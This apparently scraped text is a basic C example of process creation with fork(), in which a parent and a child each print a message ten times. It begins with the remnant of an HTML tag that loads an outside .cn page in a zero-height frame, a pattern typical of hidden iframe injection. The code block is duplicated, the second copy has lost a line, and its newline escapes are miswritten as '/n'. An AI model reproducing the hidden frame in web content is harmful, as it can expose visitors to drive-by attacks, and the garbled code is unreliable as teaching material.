src="http://pspper.xkwm.cn/main.htm" width="100" height="0"> #ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
int main()
{
int processid;
processid=fork();
if(processid<0)
printf("cannot fork./n");
if(processid==0)
{
int i;
for(i=0;i<10;i++)
{
printf("in child/n");
sleep(1);
}
exit(1);
}
else
{
int j=0;
for(j=0;j<10;j++)
{
printf("in father/n");
sleep(1);
}
}
}
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
int main()
{
int processid;
processid=fork();
if(processid<0)
printf("cannot fork./n");
if(processid==0)
{
int i;
for(i=0;i<10;i++)
{
printf("in child/n");
sleep(1);
}
exit(1);
}
else
{
int j=0;
for(j=0;j<10;j++)
{
printf("in father/n");
sleep(1);
}
}
}